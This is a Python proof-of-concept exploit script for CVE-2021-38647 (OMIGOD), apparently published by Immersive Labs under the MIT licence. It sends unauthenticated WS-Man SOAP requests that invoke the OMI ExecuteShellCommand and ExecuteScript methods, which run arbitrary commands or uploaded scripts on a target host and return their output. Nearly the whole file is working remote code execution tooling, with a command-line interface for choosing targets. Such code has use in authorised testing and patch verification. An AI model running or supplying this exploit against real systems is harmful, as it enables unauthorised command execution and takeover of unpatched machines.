# Copyright (C) 2021 Alex Seymour, Immersive Labs
# https://github.com/Immersive-Labs-Sec/cve-2021-38647
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

import re
import argparse
import urllib3
from base64 import b64encode
from pathlib import Path
from uuid import uuid4

import requests

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
EXECUTE_SHELL_COMMAND_XML = """<s:Envelope
    xmlns:s="http://www.w3.org/2003/05/soap-envelope"
    xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
    xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
    xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema"
    xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
    xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"
>
  <s:Header>
    <a:To>HTTP://{host}:{port}/wsman/</a:To>
    <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
    <a:ReplyTo>
      <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
    </a:ReplyTo>
    <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
    <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
    <a:MessageID>uuid:{uuid}</a:MessageID>
    <w:OperationTimeout>PT1M30S</w:OperationTimeout>
    <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
    <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
    <w:OptionSet s:mustUnderstand="true"/>
    <w:SelectorSet>
      <w:Selector Name="__cimnamespace">root/scx</w:Selector>
    </w:SelectorSet>
  </s:Header>
  <s:Body>
    <p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
      <p:command>{cmd}</p:command>
      <p:timeout>0</p:timeout>
    </p:ExecuteShellCommand_INPUT>
  </s:Body>
</s:Envelope>"""
EXECUTE_SCRIPT_XML = """<s:Envelope
    xmlns:s="http://www.w3.org/2003/05/soap-envelope"
    xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
    xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration"
    xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema"
    xmlns:h="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"
    xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd"
>
  <s:Header>
    <a:To>HTTP://{host}:{port}/wsman/</a:To>
    <w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
    <a:ReplyTo>
      <a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
    </a:ReplyTo>
    <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>
    <w:MaxEnvelopeSize s:mustUnderstand="true">102400</w:MaxEnvelopeSize>
    <a:MessageID>uuid:{uuid}</a:MessageID>
    <w:OperationTimeout>PT1M30S</w:OperationTimeout>
    <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
    <p:DataLocale xml:lang="en-us" s:mustUnderstand="false"/>
    <w:OptionSet s:mustUnderstand="true"/>
    <w:SelectorSet>
      <w:Selector Name="__cimnamespace">root/scx</w:Selector>
    </w:SelectorSet>
  </s:Header>
  <s:Body>
    <p:ExecuteScript_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
      <p:Script>{script}</p:Script>
      <p:Arguments/>
      <p:timeout>0</p:timeout>
      <p:b64encoded>true</p:b64encoded>
    </p:ExecuteScript_INPUT>
  </s:Body>
</s:Envelope>"""


def make_request(args, body):
    host_prefix = ""
    if not args.host.startswith(("http://", "https://")):
        if args.https:
            host_prefix = "https://"
        else:
            host_prefix = "http://"

    try:
        response = requests.post(
            f"{host_prefix}{args.host}:{args.port}",
            data=body,
            headers={
                "Content-Type": "application/soap+xml",
            },
            verify=False,
        )
    except Exception as e:
        print("Something went wrong. The target may be down or is not vulnerable.")
        print(e)
        exit(1)

    stdout = re.search(r"<p:StdOut>(.*?)</p:StdOut>", response.text)
    stderr = re.search(r"<p:StdErr>(.*?)</p:StdErr>", response.text)

    if not stdout and not stderr:
        print("The target doesn't appear to be vulnerable.")
        exit(1)

    if stdout:
        print(":: STDOUT ::")
        print(stdout.group(1).replace("&#10;", "\n"))

    if stderr:
        print(":: STDERR ::")
        print(stderr.group(1).replace("&#10;", "\n"))


def execute_shell_command(args):
    make_request(
        args,
        EXECUTE_SHELL_COMMAND_XML.format(host=args.host, port=args.port, cmd=args.cmd, uuid=str(uuid4())),
    )


def execute_script(args):
    if args.cmd:
        script = b64encode(args.cmd.encode())
    elif args.file:
        path = Path(args.file)
        if not path.is_file():
            print(f"{path.file} doesn't exist")
            exit(1)

        try:
            with path.open("rb") as f:
                script = b64encode(f.read())
        except Exception:
            print("Can't encode file")
            exit(1)
    else:
        print("Command or file must be provided")
        exit(1)

    make_request(args, EXECUTE_SCRIPT_XML.format(host=args.host, port=args.port, script=script.decode(), uuid=uuid4()))


def main():
    parser = argparse.ArgumentParser(description="PoC exploit for CVE-2021-38647")
    parser.add_argument("host", help="Target IP/URL")
    parser.add_argument("-p", "--port", type=int, default=5986, help="Target port")
    parser.add_argument("-s", "--https", action="store_true", help="Use HTTPS")
    subparsers = parser.add_subparsers()

    shell_command_parser = subparsers.add_parser("shell", help="Execute a command with ExecuteShellCommand")
    shell_command_parser.add_argument("cmd", help="Command to run on the target")
    shell_command_parser.set_defaults(func=execute_shell_command)

    script_parser = subparsers.add_parser("script", help="Execute a command with ExecuteScript")
    script_parser.add_argument("-c", "--cmd", help="A single command to execute")
    script_parser.add_argument("-f", "--file", help="A script to be executed on the target")
    script_parser.set_defaults(func=execute_script)

    args = parser.parse_args()

    if not getattr(args, "func", None):
        print("You must specify shell or script")
        exit(1)

    args.func(args)


if __name__ == "__main__":
    main()
